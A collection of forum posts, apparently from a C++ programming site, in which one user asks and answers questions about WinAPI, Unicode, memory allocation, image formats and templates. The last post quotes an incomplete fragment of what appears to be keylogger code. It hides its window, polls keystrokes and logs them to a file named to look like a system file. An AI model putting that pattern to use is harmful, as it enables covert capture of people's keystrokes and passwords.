triumphost 120 Posting Whiz

Hmm. It affected my bitmaps.. I had to change all the bitmap code back to chars because I changed them to wchar_t and it read the bitmaps wrong.. Reads it correctly with regular chars.

Anything to do with buffers, I messed up and had to change to normal. That includes serialization and sockets :(

Other than that, I got almost everything working! Thanks.

triumphost 120 Posting Whiz

I wrote a large project dealing with images, files, and WINAPI functions.

I decided to add RichTextEdit to it and used the msfedit.dll.. Turns out that it only supports UNICODE style strings and chars and my entire project is std::strings and LPCSTR's, etc..

None of the WINAPI functions are unicode either..

I'm thinking of converting the whole project to unicode so I won't face such a problem further along the line but I don't know where to start because it's a mixture of everything!

Bitmaps use chars and unsigned chars.. I can't think of a way to read a bitmap using wchar_t.

Things like ZLib and LibPng use FILE*, gzopen, and fopen, and base64 chars.. how would I work around that?

Reading with fstream vs wfstream and printing with cout vs wcout.. Is there any typedefs to enable either or? Just incase I decide I don't like Unicode? What happens if I read a file using wfstream, will it be the same as fstream but just able to support more characters?

I made a file like below:

#ifndef UNICODE_HPP_INCLUDED
#define UNICODE_HPP_INCLUDED

#include <tchar.h>
#include <iostream>

#define UNICODE
#define _UNICODE

#ifdef UNICODE
    typedef std::wstring string_type;
    typedef wchar_t char_type;
    typedef std::wfstream fstream_type;
    typedef std::wstreambuf streambuf_type;
#else
    typedef std::string string_type;
    typedef char char_type;
    typedef std::fstream fstream_type;
    typedef std::streambuf streambuf_type
#endif

#endif // UNICODE_HPP_INCLUDED

Would I need anything else? Will this break my project? What's the best approach to support Unicode and ANSI?

triumphost 120 Posting Whiz

Don't be so lazy.. If you did it yourself, it'd look like the following Formatted code:

#include <iostream>
#include <conio>

int main()
{
    int p[10] = {0};
    int search_key;
    int middle = 0, first = 0, last = 9;
    cout<<"\n enter 10 elements:"<<"\t";

    for(int i = 0; i < 10; i++)
    {
        cin>> p[i];
        cin.ignore();
    }

    cout<<"\n elements sorted:";
    for(i = 0; i < 10; i++)
    {
        cout<<p[i]<<"\t";
    }

    cout<<"\n enter the search_key:";
    cin>>search_key;
    cin.ignore();

    while(first <= last)
    {
        middle = (first + last) / 2;
        middle + 1;
        cin>> search_key;
        cin.ignore();

        for(int index = 0; index < 10; index++)
        {
            if (p[index] == search_key)
            {
                cout<<"\n"<< search_key <<"found at location"<<index;
                break;
            }
        }

        if(index > 9)
            cout<<"\n"<<search_key <<"not found";

        getch();
    }
}
triumphost 120 Posting Whiz

Ahh I see. The part that confused me previously was that they all occupy the same space. I was reading some book and the author for some reason said that classes just store pointers to the location of all datamembers so I was thinking that if the datamember does not use new then it will always be on the stack and if it uses new it'll be on the heap regardless of where class itself is allocated.

I did not know they were sub-objects. I thought it was just like Java's classes. Thanks alot to both of you! Definitely cleared it up.

triumphost 120 Posting Whiz

I understood the class is on the heap by why are all the "data-members & data-functions" on the heap too if they are not allocated with new?

Can functions even be on the heap? I thought the stack pops when the function returns so where does the heap come in?

triumphost 120 Posting Whiz

Assuming a simple class like below and the main like below, will the class variable be stack/heap allocated depending on how the class is instantiated? OR will the class variable be allocated depending on how it is implemented?

class Foo
{
    private:
        std::string Bar;

    public:
        Foo() : Bar(std::string()) {}
};


int main()
{
    Foo* F = new Foo();  //Will Bar be allocated on the heap because of new? OR does Bar have to be std::string*

    Foo G = Foo();   //Bar will be allocated on the stack right?
}
triumphost 120 Posting Whiz

He's telling you that your standards need fixing or else NO ONE will read your code.. Read some of the comments I put into your code to figure out how to format it..

#include <iostream.h>
#include <conio.h>

void main()   //needs to be int main..
{
|<-->| = A tab/or 4-space.

    int p[10];   //notice that there is a tab before int p? that's indentation.
    int search_key;
    cout<<"\n enter 10 elements:"<<"\t";

    for(int i=0; i<10; i++) //put some spaces between your operators and numbers... i = 0 not i=0.
    {
//  |<-->| = A tab/4-spaces..
          cin>>p[i];     //notice that cin is indented by one tab from the for-loop brackets.
    }
                                       //Separate different sections using a blank line..
    cout<<"\n elements sorted:";
    for(i = 0; i < 10; i++)
    {
        cout<<p[i]<<"\t";
    }

    cout<<"\n enter the search_key:";
    cin>>search_key;

    int middle, first=0, last=9;

    while(first<=last)
    {
        middle=(first+last)/2;
        middle+1;
        cin>>search_key;
        for(int index=0; index<10; index++)
        {
            if (p[index] == search_key)
            {
                cout<<"\n"<<search_key<<"found at location"<<index;
                break;
            }
        }
        if(index>9)
            cout<<"\n"<<search_key <<"not found";
        getch();
    }
}
triumphost 120 Posting Whiz

:O I solved it just now.. After creating a makefile, I was able to compile with -m32 and -m64.

So I figured there has to be a way to do this in Codeblocks.
I went did:

CompilerSettings->Other Options and added -m32

Then in Linker Settings under other linker options I added -m32

I only had the x64 compiler installed. It has lib32 folder included in it so that's why this works.

triumphost 120 Posting Whiz

Hmm but doesn't TDM only use gcc 4.7.1? I was told that doesn't have std::thread

The errors I was getting was:

undefined reference to ZSt4cout'| undefined reference toZSt16__ostream_insertIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_PKS3_x'|
undefined reference to `ZNSo5flushEv'|

I did indeed download the TDM as suggested. It works but for projects that use std::thread from 4.7.2, it will not compile those.

etc..

triumphost 120 Posting Whiz

How can I install gcc 4.7.2 for codeblocks that supports both 32 and 64 compilation?

If I install the x32 bit compiler: x32-4.7.2-release-win32-sjlj-rev10 it will compile with -m32 compiler switch but give a bunch of linker errors for -m64

If I install the x64 bit compiler: x64-4.7.2-release-win32-sjlj-rev10 it will compile with -m64 compiler switch but give a bunch of linker errors for -m32

If I try both, it overwrites files of the other one.. If I install them both to a different directory, I have to change compiler toolchain-executables for each program I compile.

I got both from: http://sourceforge.net/projects/mingwbuilds/

So again, how can I get my gcc to be able to compile for both using the -m switch on windows? OR is there another way?

triumphost 120 Posting Whiz

A DLL is made for windows.. It is going to require you to specify a main..

int main() for consoles
WinMain for Win32-GUI
DLLMain for DLL's

int WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    switch(dwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            break;
        }

        case DLL_PROCESS_DETACH:
        {
            break;
        }
    }
    return true;
}

http://msdn.microsoft.com/en-ca/library/windows/desktop/ms682583(v=vs.85).aspx

triumphost 120 Posting Whiz

Some problems seen:

Don't forget to delete those pointers using delete[]. Can be done in the destructor or before you decide to reuse/reallocate the pointer.
Posting class does not have a member function called display_posting();
Deprecated conversion warnings from string to char* (Can be ignored really or change first parameter to const char* for user_input function)

Finally, you didn't copy anything to your response. Your response contains NULL values..
You need to do: strcpy(response, temp); //Copy the temp data to the response..

#include <iostream>
#include <cstring>

using namespace std;

class Posting
{
    public:
        Posting(); //Constructor
        ~Posting(); //Destructor
        void user_input(const char* input, char* &response); //const char* for first parameter to get rid of the warnings..
        void create_posting();
        void display_posting();    //Your class was missing this data-member.

    private:
        char *type;
        char *info;
        char *place;
        char *email;
};

Posting::~Posting()  //Deletes all allocated memory when the class gets destroyed or goes out of scope.
{
    delete[] type;
    delete[] info;
    delete[] place;
    delete[] email;
}

Posting::Posting()
{
    type=NULL;
    info=NULL;
    place=NULL;
    email=NULL;
}

void Posting::user_input(const char* input, char* &response)  //const char* first parameter.
{
    char temp[500];

    cout << input;
    cin.get(temp,500,'\n');
    cin.ignore(100,'\n');
    response = new char[strlen(temp) + 1];
    memset(response, 0, strlen(temp) + 1);  //Set all values to 0.. Makes the string null terminated for safety. (Just an extra precaution)
    strcpy(response, temp);                 //Copy the input data to the response.
    response[0] = toupper(response[0]);     //After the copy, you may now uppercase the first character.
}

void Posting::create_posting()
{
    user_input( "What type of posting is this? ", type); …
triumphost 120 Posting Whiz

I was trying to emulate C#'s button class.. I went on MSDN and searched button and I noticed they inheritted from a "Control" class so I did what I thought was the implementation that made sense at the time.

I ended up doing the following before reading your solution.. And I used the assignment operator to achieve the movement from WM_CREATE to the button outside that scope. I do not understand how the Cloneable can copy through the this pointer if it doesn't know what to copy? Isn't that what a copy constructor is supposed to do?

I'm still unsure why I should not use inheritance to make the button because I thought about the relationship between the two before designing it and a button "is-a" control.. :S So shouldn't a button inherit from the control class? If I made it a data-member as suggested then it would be: a button "has-a" control. I'm not sure how a button can have other controls unless I'm really going about it all the wrong way but this is the way I learned inheritance in other languages (Java, C#, F#, etc) so I decided to "try" the same thing in C++.

It is my first time doing inheritance in C++ so the relationships of two classes was the first thing that came to mind. Is-A vs. Has-A. Then I thought maybe the Control class can provide a set of functions that all derived classes would also have because when a child inherits from …

triumphost 120 Posting Whiz

I have a class called Control. All other "controls" inherit from this class. Some controls need a default constructor so that I can assign or construct them later.

The classes look like:

class Control
{
    private:
        //All Members Here..
        void Swap(Control &C);

    public:
        Control(DWORD dwExStyle, std::string Class, std::string Title, ....);
        virtual ~Control();

        virtual void Dispose();    
        virtual Control& operator = (Control C);
};

class Button : public Control
{
    public:
        Button();  //Default constructor.. I don't want to constructor a "Control" instance yet..
        Button(std::string Title, Point Location, int Width, int Height, HWND Parent);
        virtual ~Button();

        virtual void Dispose() override;    
        virtual Button& operator = (Button B);
};



Control::~Control() {}

void Control::Swap(Control &C)
{
    //Swap everything else.. and so on..
}

Control::Control(DWORD dwExStyle, std::string Class, std::string Title, ....) : //Initialize stuff..
{
    Handle = CreateWindowEx(dwExStyle, Class.c_str(), Title.c_str(), ...);  //creates a new Control.
}

void Control::Dispose()
{
    ID = nullptr;
    Parent = nullptr;
    DestroyWindow(Handle);
}

Control& Control::operator = (Control C) //Basically Moves.. Steals all information and destructs old object.
{
    if (this->Handle != C.Handle)
    {
        C.Swap(*this);
        C.Dispose();
    }
    return *this;
}


Button::~Button() {}

//The next line is what I want to delay.. I am forced to call the parent constructor..
Button::Button() : Control(...) {}



Button::Button(std::string Title, Point Location, int Width, int Height, HWND Parent) : Create instance of Control.


Button& Button::operator = (Button B)
{
    Control::operator = (B);
    return *this;
}

Examples:

Button* Btn;  //Create a button pointer.. Does not construct or create a window/button.

//WNDPROC......

    WM_CREATE:
        Btn = new Button("Title"...);  //Constructs …
triumphost 120 Posting Whiz

Why do I need a static class member? What are the advantages and disadvantages of it?

Is there any way that I can have non-static member fuction without doing anything outside of the class (such as passing an instance)?

class Control
{
    private:
        HMENU ID;
        HWND Handle, Parent;
        std::string Class, Title;
        DWORD dwExStyle, dwStyle;
        Point Location;
        int Width, Height;
        std::array<std::function<void(void)>, 6> Functions;

    public:
        Control(DWORD dwExStyle, std::string Class, std::string Title, DWORD dwStyle, Point Location, int Width, int Height, HWND Parent, HMENU ID, HINSTANCE Instance, void* LParam);
        virtual ~Control();

        virtual LRESULT __stdcall Subclass(HWND window, UINT msg, WPARAM wParam, LPARAM lParam);
};


Control::~Control() {}

//Constructor here..

//Subclass..

LRESULT __stdcall Control::Subclass(HWND Window, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    //WNDPROC SubProc = reinterpret_cast<WNDPROC>(GetWindowLongPtr(Window, GWLP_USERDATA));

    switch(Msg)
    {

        case WM_DESTROY:
            RemoveWindowSubclass(Window, Subclass, 0);
        break;

        default:
            return CallWindowProc(Subclass, Window, Msg, wParam, lParam);
    }
}

In my subclass function, the line: RemoveWindowSubclass(Window, Subclass, 0); gives me the error cannot convert Control::Subclass to SUBCLASSPROC.

I know that inorder to do so, I need to make it static.

So how can I have a non-static callback within my class? I know it can be done with a Lambda because I tried it, but is there any other way without having to do anything outside my class (such as passing an instance)?

I'm trying to emulate the C#'s control class in WINAPI.

triumphost 120 Posting Whiz

Use a mutex so that only one instance can run?
Check processes to see if a process with that name already is running (Not fool proof).

triumphost 120 Posting Whiz

http://i.imgur.com/kWrBizl.png

In the above Image, I generator a Sudoku Matrix of 9x9 values. Is there any way I can allow user to enter individual values by moving around the caret and typing?

Basically, I want them to just be able to change the values displayed on the screen by moving the caret or cursor and typing at that location.

How can I achieve this?

triumphost 120 Posting Whiz

You lost me but.. If the class is declared in a different file, you must include that header file in your main by doing #include "HeaderFile.hpp" or whatever extension you saved it as.

If it is declared in main like so then you just create an instance of that class and call the function using the dot. If you created an instance through a pointer then you need to use the -> operator (I forgot this operator's name :l). OR if it is a pointer you can use the *. technique which is the same as the -> operator.

class Bank
{
    public:
        void SomeFunction();
};

Menu::SomeFunction()
{
    std::cout<<"Calling Function In Bank Class"<<std::endl;
}


int main()
{
    Bank BMO;

    BMO.SomeFunction();

    Bank* BankPtr = new Bank();

    BankPtr->SomeFunction();

    //OR

    (*BankPtr).SomeFunction();
}
triumphost 120 Posting Whiz

I also started cross-platform coding a while ago.. Maybe two-three months ago.

I use Windows 8 Pro and installed Linux on Hyper-V. Remote Desktop into the Hyper-V machine and set it to full screen :)

Can copy paste my code/folders/project from Windows to Linux and just press compile. Vice-Versa works too.

triumphost 120 Posting Whiz

How about using Templates? Or using the Object data type since it's polymorphic anyway?

public void Print(...array<Object^> ^objects)
{
    foreach (Object^ o in objects)
        Console::Write(o + " ");
}

Object Datatype can accept any other type whether it is known or not.. For example, a class. Of course for the class to print nicely it should overload tostring..

Can use it like: Print(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, "1", "2", "3", "4", "5", SomeClassThatOverloadsToString, SomeClass2);

Then there is the template solution which is variadic but only accepts one type unless you specify Object.

#ifndef TEMPLATES_H_INCLUDED
#define TEMPLATES_H_INCLUDED
using namespace System;
using namespace System::Collections::Generic;

template <typename T>
public ref class CustomType sealed
{
    private:
        List<T> TypeData;

    public:
        CustomType() {}
        CustomType(...array<T^> ^Types)            //Basically Variadic Templates.. As good as it gets for MS2010..
        {
            for each (T^ t in Types)
            {
                TypeData.Add(*t);
            }
        }
        ~CustomType() {}

        virtual String^ ToString() override
        {
            String^ Str;
            if (this->size() != 0)
            {
                Str = "[";
                for (int I = 0; I < this->size() - 1; I++)
                {
                    Str += TypeData[I];
                    Str += ", ";
                }
                Str += TypeData[this->size() - 1];
                Str += "]";
            }
            else
            {
                Str += "[]";
            }
            return Str;
        }
};

#endif // TEMPLATES_H_INCLUDED 
triumphost 120 Posting Whiz

How can I calculate CLOCKS_PER_SEC.. It is defined as 1000 in ctime. I don't want it defined. I want to calculate the actual value..

I tried the below code but it seems to be giving me my CPU speed.. on a 2.8 Ghz processor, it prints 2800. On a 2.0 Ghz processor it prints 2000.

So what is CLOCKS_PER_SEC and why is it defined as 1000? How can I calculate it? I'm trying to run a function every actual tick.

#include <iostream>
#include <windows.h>
#include <chrono>
#include <thread>
#include <ctime>

std::chrono::time_point<std::chrono::high_resolution_clock> SystemTime()
{
    return std::chrono::high_resolution_clock::now();
}

std::uint32_t TimeDuration(std::chrono::time_point<std::chrono::high_resolution_clock> Time)
{
    return std::chrono::duration_cast<std::chrono::nanoseconds>(SystemTime() - Time).count();
}

double ClocksPerSecond()
{
    std::uint32_t I = 0, Result = 0;
    auto Begin = std::chrono::high_resolution_clock::now();

    for (I = 0; I < 3; ++I)
    {
        std::this_thread::sleep_for(std::chrono::seconds(1));
        Result += (TimeDuration(Begin) / 1000.0);
    }

    return Result / I;
}

int main()
{
    std::cout<<ClocksPerSecond() / 1000<<std::endl;  //ClocksPerSecond() / 1000000;
    std::cout<<CLOCKS_PER_SEC;
    return 0;
}
triumphost 120 Posting Whiz

Ohhh I see!! But what I did not understand is how Application Two sees the condition variable from Application One :S

That is why I had used Events in the first place. Because I was able to name them and check for that specific event from another process/application because it is system-wide.

I understand using the condition variable in a single application with many threads but not too sure how to do it in two different applications.

I was reading here earlier and saw that it cannot be shared across processes: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682052(v=vs.85).aspx

So I'm stuck with events?

triumphost 120 Posting Whiz

Can C++11's Mutexes be used for Inter-Process Communication? In other words, can it be used for shared memory and signalling an event?

Currently, I'm using CreateEvent and SetEvent from WINAPI and I wanted a cross-platform way of doing so without doing #ifdef windows and ifdef linux, etc..

I use CreateEvent and have one process wait until the event signals. The other then signals when it's done reading and it repeats and so on..

triumphost 120 Posting Whiz

Oops I meant std::filesystem from the TR2 proposal.. MSCV-2012 has their own implementation based on boost as well.

Still, I just downloaded the most up to date visual studio 2012. The compiler supports initialization lists but their include does not. The include is not updated for the new features so there is no point to it because code like below still won't compile in VS2012:

std::vector<int> Foo{1, 2, 3, 4, 5};
triumphost 120 Posting Whiz

I'm going to have to go with GCC on this. The only thing I saw new that I really wanted from MSVC 2012 was that it had the std::filestream which I really really!!! liked.

GCC has more important/useful features IMO. But MSVC is getting there. Just get both. I don't think there is a "best". Each has its advantages.

triumphost 120 Posting Whiz

His code compiles fine. I don't know why Netbeans gives you compile time errors.

Alternatively, you can try what I use.. Should be fairly similar:

void ClickMouse(HWND Handle, int X, int Y, bool ClickLeft)
{
    UINT UP = ClickLeft ? WM_LBUTTONUP : WM_RBUTTONUP;
    UINT DOWN = ClickLeft ? WM_LBUTTONDOWN : WM_RBUTTONDOWN;
    WPARAM wParam = ClickLeft ? MK_LBUTTON : MK_RBUTTON;

    PostMessage(Handle, DOWN, wParam, MAKELPARAM(X, Y));
    PostMessage(Handle, UP, wParam, MAKELPARAM(X, Y));
}

I'll leave it to you to write the moving one. It's literally the same (different flags though). Only one PostMessage Required. You can also change PostMessage to SendMessage if you wish.

triumphost 120 Posting Whiz

Omg.. Thanks for the reply. I'm going to have to study that code for a while before I get it down. Looking at it scares me ahaha.

Definitely going to sit and study it though before using it as I need to know how to do it. I was reading up on the algorithm yesterday. I understand it a bit more now so hopefully I'll get it fairly soon.

I think the way you explained it. "In two states" and "State Machine" made it much easier to understand than the tutorials elsewhere.

Thanks a lot.

triumphost 120 Posting Whiz

Why can't I capture the variable Painted and change it? The second that I capture it, it throws a compile time error:

*cannot convert 'Foo()::<lambda(HWND, uint32_t, WPARAM, LPARAM)>'

to

'WNDPROC {aka long long int ()(HWND__, unsigned int, long long unsigned int, long long int)}' in initialization*

Yes I realize creating the Window within this function is awkward but I am threading this function and that is why I need to capture the variable Painted. I need to know when the Window has painted. That's why. I need to somehow get notified when the window in the thread has been painted so that I can do other operations in the main thread.

void Foo()
{
    std::atomic<bool> Painted;

    auto WindowProcedure = [&Painted](HWND window, std::uint32_t msg, WPARAM wp, LPARAM lp) -> LRESULT __stdcall
    {
        switch(msg)
        {
            case WM_PAINT:
                Painted = true;
            break;

            case WM_DESTROY:
                PostQuitMessage(0);
                return 0;

            default:
                return DefWindowProc(window, msg, wp, lp);
        }
        return 0;
    };

    WNDCLASSEX WndClass =
    {
        sizeof(WNDCLASSEX), CS_DBLCLKS, WindowProcedure,
        0, 0, GetModuleHandle(NULL), LoadIcon(NULL, IDI_APPLICATION),
        LoadCursor (NULL, IDC_ARROW), HBRUSH(COLOR_WINDOW+1),
        NULL, "Class", LoadIcon (NULL, IDI_APPLICATION)
    };
}
triumphost 120 Posting Whiz

Why can't I capture the variable Painted and change it? The second that I capture it, it throws a compile time error:

*cannot convert 'Foo()::<lambda(HWND, uint32_t, WPARAM, LPARAM)>'

to

'WNDPROC {aka long long int ()(HWND__, unsigned int, long long unsigned int, long long int)}' in initialization*

Yes I realize creating the Window within this function is awkward but I am threading this function and that is why I need to capture the variable Painted. I need to know when the Window has painted. That's why.

void Foo()
{
    std::atomic<bool> Painted;

    auto WindowProcedure = [&Painted](HWND window, std::uint32_t msg, WPARAM wp, LPARAM lp) -> LRESULT __stdcall
    {
        switch(msg)
        {
            case WM_PAINT:
                Painted = true;
            break;

            case WM_DESTROY:
                PostQuitMessage(0);
                return 0;

            default:
                return DefWindowProc(window, msg, wp, lp);
        }
        return 0;
    };

    WNDCLASSEX WndClass =
    {
        sizeof(WNDCLASSEX), CS_DBLCLKS, WindowProcedure,
        0, 0, GetModuleHandle(NULL), LoadIcon(NULL, IDI_APPLICATION),
        LoadCursor (NULL, IDC_ARROW), HBRUSH(COLOR_WINDOW+1),
        NULL, "Class", LoadIcon (NULL, IDI_APPLICATION)
    };
}
triumphost 120 Posting Whiz

I'm diving into various Image reading and writing methods and writing my own. I decided to tackle TGA/Targa. I got reading working flawlessly. It reads both compressed and decompressed .TGA files. I got writing decompressed .TGA files working.

However, I cannot figure out how to write Compressed .TGA files. I read it like:

If a 1-byte chunk header "X" is less than 127, the amount of pixels to read is: (X - 1) before I hit another 1-byte header. If X is above 127, then it is the amount of times a pixel is repeated consecutively. So (X - 127) is the amount of times I copy that pixel into the buffer. I minused 127 from X inorder to get rid of the 1-byte header.

Now, I have a problem reversing this algorithm and writing it back to the file. I have no clue where to start. I read wikipedia and it stated that the algorithm is the RLE-Packbits algorithm. I'm not sure how true that is, but I do know it is RLE because it repeats?

I put the whole source code below so any one willing to help can compile it. The Loading/Reading works fine. I only need help "saving as Compressed" (Line 84).

Any help is appreciated.

#include <iostream>
#include <vector>
#include <fstream>
#include <cstring>
#include <stdexcept>

typedef union RGB
{
    uint32_t Color;
    struct
    {
        unsigned char B, G, R, A;
    } RGBA;
} *PRGB;

class Tga
{
    private:
        std::vector<unsigned char> ImageData;
        uint32_t width, height, size, …
triumphost 120 Posting Whiz

This may be a long post but I really need to know how to Convert between the two image formats and amonst themselves as well.

Here goes:

I have a struct like the one below that holds all pixel information:

typedef union RGB
{
    uint32_t Color;
    struct
    {
        unsigned char B, G, R, A;
    } RGBA;
} *PRGB;

std::vector<RGB> Pixels;   //Holds all pixels.

I am able to do:

Bmp24 -> Bmp24.
Bmp32 -> Bmp32.
Png24 -> Png24.
Png32 -> Png32.
Png32 -> Bmp32.

However I am unable to do:

Bmp24 -> Png24.
Bmp24 -> Png32.
Bmp32 -> Png24.
Png24 -> Bmp32.
Png32 -> Bmp32.
Bmp32 -> Png32. (Works partially. Shows the icon but the image is invisible.)

All of the bitmap writing works except when going from 24 to 32 or vice-versa. I don't know what I'm doing wrong or why 24-32 conversions don't work. My bitmap reading and writing code is as follows:

Bitmap(const void* Pointer, int Width, int Height, uint32_t BitsPerPixel) //Constructor initialization here...
{
    Pixels.clear();
    if (Pointer == nullptr) {throw std::logic_error("Null Pointer Exception. Pointer is NULL.");}
    if (Width < 1 || Height < 1) {throw std::invalid_argument("Invalid Arguments. Width and Height cannot equal 0.");}
    std::memset(&Info, 0, sizeof(BITMAPINFO));
    size = ((width * BitsPerPixel + 31) / 32) * 4 * height;

    Info.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    Info.bmiHeader.biWidth = width;
    Info.bmiHeader.biHeight = height;
    Info.bmiHeader.biPlanes = 1;
    Info.bmiHeader.biBitCount = BitsPerPixel;
    Info.bmiHeader.biCompression = BI_RGB;
    Info.bmiHeader.biSizeImage = size;
    bFileHeader.bfType = 0x4D42;
    bFileHeader.bfOffBits = …
triumphost 120 Posting Whiz

I'm in a bit of a dilemma. I want to know what the difference is between Foo and Meh. I wrote both of them and I did not like Foo so I wrote Meh. They both work but is there an overhead to Meh? Is there anything bad about Meh?

The reason I'm asking is because everywhere I look on the internet, I see coders writing Variadic templates the same way Foo is written. With a helper function. I dislike using a helper function for such a thing so I wrote Meh which uses an initializer list and a for-ranged loop to go through the packed parameters.

What's the pros and cons of using Foo vs. Meh? Are there downsides? Does one have an overhead? Which do you prefer?

#include<iostream>

template<typename T>
void Foo(T Argument)
{
    std::cout<<Argument;
}

template<typename First, typename... Args>
void Foo(First ArgumentOne, Args... Remainder)
{
    std::cout<<ArgumentOne;
    Foo(Remainder...);
}



template<typename First, typename... Args>
void Meh(First ArgumentOne, Args... Remainder)
{
    for (First I : {ArgumentOne, Remainder...})
    {
        std::cout<<I;
    }
}



int main()
{
    Foo(1, 2, 3, 4);
    std::cout<<std::endl;
    Meh(1, 2, 3, 4);

    //Both of the above print "1234".
}
triumphost 120 Posting Whiz
#include <iostream>
#include <fstream>

int FileSize(std::string Path)
{
    std::ifstream Stream(Path.c_str());
    if (Stream.is_open())
    {
        int Start = Stream.tellg();
        Stream.seekg(0, std::ios::end);
        int End = Stream.tellg();
        Stream.close();
        return (End - Begin);
    }
    return -1;
}

int main()
{
    std::cout<<FileSize("C:/Users/Foo/Desktop/SomeFile.bin")<<std::endl;
}
jalpesh_007 commented: just provide idea...you are not teaching here by giving code...it's not good.. +0
triumphost 120 Posting Whiz

Your GetInfo doesn't return a value everywhere. Actually, it only returns a value within that while loop. Lets assume that the while loop "never" executes and it skips over it.. What happens then? What did you return?

Also perhaps it crashes because you never closed any of the streams you opened? OR because you return -2? Just a wild guess.. Either way, this is how I'd do it:

#include <iostream>
#include <windows.h>
#include <fstream>
#include <sstream>

template<typename T>
std::string ToString(T Type)
{
    std::stringstream SS;
    SS<<Type;
    return SS.str();
}

std::string ConvertTemperature(double Temperature, char Unit)
{
    std::string Degrees = " " + ToString((char)248);
    if (Unit == 'C' || Unit == 'c')
        return ToString(Temperature) + Degrees + "C = " + ToString(((9.0/5.0) * (Temperature)) + 32) + Degrees + "F";

    if (Unit == 'F' || Unit == 'f')
        return ToString(Temperature) + Degrees + "F = " + ToString((Temperature - 32) * (5.0/9.0)) + Degrees + "C";

    return "Unknown unit. Cannot Convert To Fahrenheit or Celsius.";
}

void GetStream(std::istream &Stream)
{
    int Result = 0;
    char Unit = '\0';
    double Temperature = 0.0;

    while(Stream >> Temperature >> Unit >> Result)
    {
        //std::cout<<Temperature<<std::endl;
        //std::cout<<Unit<<std::endl;
        //std::cout<<Result<<std::endl;
        std::cout<<ConvertTemperature(Temperature, Unit)<<std::endl;
        std::cout<<std::endl;
    }
}

void ReadStream(std::istream &Stream)
{
    std::string Line;
    while(getline(Stream, Line))
    {
        std::ifstream FileLayer;
        FileLayer.open(Line.c_str());
        if (FileLayer.is_open())
            GetStream(FileLayer);
        FileLayer.close();
    }
}

int main()
{
    std::ifstream F;
    F.open("C:/Users/Master/Desktop/LayerOne.txt");
    ReadStream(F);
    F.close();
}

LayerOne.txt looks like:

C:/Users/Master/Desktop/LayerTwo.txt
C:/Users/Master/Desktop/LayerThree.txt

LayerTwo.txt looks like:

10.5
F
45

LayerThree.txt looks like:

36.7
C
32

Results looks like:

triumphost 120 Posting Whiz

Well I don't know that it is undefined? I thought delete[] just loops through everything and calls delete?
I guess my question should be "Why is it undefined?".

Also what if I do:

int main()
{
    Foo* F = new Foo[5];
    Foo* K = &F;

    ++K;
    delete[] K;   //Does that delete all instances of F?

    //OR do I need to do:
    delete[] --K;
}
triumphost 120 Posting Whiz

Ok I know the difference between delete and delete[] BUT this question just all of a sudden popped in my head since "NOTHING" happens when I use delete[] for all purposes.

Now I know when to use one or the other but it still for some odd reason bothers me that delete[] on anything is acceptable in g++/codeblocks.

Example:

struct Foo
{
    int* X;
    int NumberOfElements;
    //.......
};


int main()
{
    Foo* F = new Foo;   //Create ONE instance of Foo.   
    delete[] Foo;       //Does NOTHING fishy. It just deletes foo?

    //OR

    delete Foo;         //Does the same as the above no? If yes, why bother ever using delete?


    Foo* FA = new Foo[10];  //Create 10 instances of Foo.
    delete[] Foo;           //Deletes all instances of Foo pointed to by FA.

    //But not..
    delete Foo;             //Big problem/leaks?
}

Why is it safe to use delete[] without getting a crash or something?

I was doing:

template<typename T>
void DeleteAll(T* &Type, size_t Size)
{
    if (Size > 1)
        delete[] Type;
    else
        delete Type;
    Type = NULL;
}

and thinking about whether or not I even have to specify the size to use the correct delete since delete[] is no different?

triumphost 120 Posting Whiz
  1. BufferPixels is a std::vector<unsigned char> within a class. Private member non-static.
  2. Width and Height are also private non-static class members.
  3. Bpp = BitsPerPixel which can be both 24 or 32.
  4. I used unsigned char* Pixels = &BufferPixels[0] because it's a vector. I would have just used Pixels = BufferPixels.data();
  5. What do you mean 32bit unsigned vs. 8bit unsigned?
  6. I loop through 3 times because if it's 24 bit, alpha doesn't matter. 4 times for 32 bit.
  7. Result is a void pointer because I'm given a void pointer that I will be filling with the flipped Pixels. Ex: I take the vector, flip all the bytes and copy the flipped pixels to the void pointer. The void ptr can also be an unsigned char*.
  8. Well it's for rendering so yes I need to align it to render correctly. I assume I'd need to pad it on 4 byte boundaries and byte order would matter.

I'm basically getting a buffer from JNI (Java) and passing it to my DLL. The DLL fills that buffer with the pixels of an image but sometimes it renders badly and sometimes upside down.

My second attempt to flip it was (I didn't want to use Memcpy):

void JNIData::FlipBytes(void*& Result)
{
   unsigned long Chunk = width * Bpp > 24 ? 4 : 3;
   unsigned char* Destination = static_cast<unsigned char*>(Result);

   unsigned char* Source = &BufferPixels[0] + Chunk * (height - 1);

   for (int I = 0; I < height; ++I)
   {
      std::memcpy(Destination, Source, Chunk);
      Destination …
triumphost 120 Posting Whiz

I'm trying to flip an image which has its pixels stored in a vector. For some reason, when I try to flip it, the image gets distorted and gray/fuzzy. Any idea why?

My code is as follows:

void JNIData::FlipBytes(void*& Result, bool TopDown)
{
    unsigned char* Pixels = &BufferPixels[0];  //vector of pixels/unsigned chars.
    unsigned char* BuffPos = static_cast<unsigned char*>(Result);

    for (int I = 0; I < height; ++I)
    {
        for (int J = 0; J < width; ++J)
        {
            int Offset = TopDown ? (height - 1 - I) * width + J : I * width + J;
            *(BuffPos++) = *(Pixels++ + Offset);
            *(BuffPos++) = *(Pixels++ + Offset);
            *(BuffPos++) = *(Pixels++ + Offset);

            if (Bpp > 24)
                *(BuffPos++) = *(Pixels++ + Offset);
        }

        if (Bpp == 24)
        {
            BuffPos += width % 4;
            Pixels += width % 4;
        }
    }
}
triumphost 120 Posting Whiz

Line 30..
Every time the loop calculates, it calculates using your CharHealth which is still at 100!

float remhealth=charhealth-enemyattack;
charhealth = remhealth;   //Next time the loop starts, it will start with your current remaining health.

I "THINK" that's what you want. It's a bit difficult to understand your question but that's what I assume you mean. Try it and let me know how it goes.

triumphost 120 Posting Whiz

I did? :S

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
    char i;
    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"System32Log.txt");
        }
    }
    system ("PAUSE");
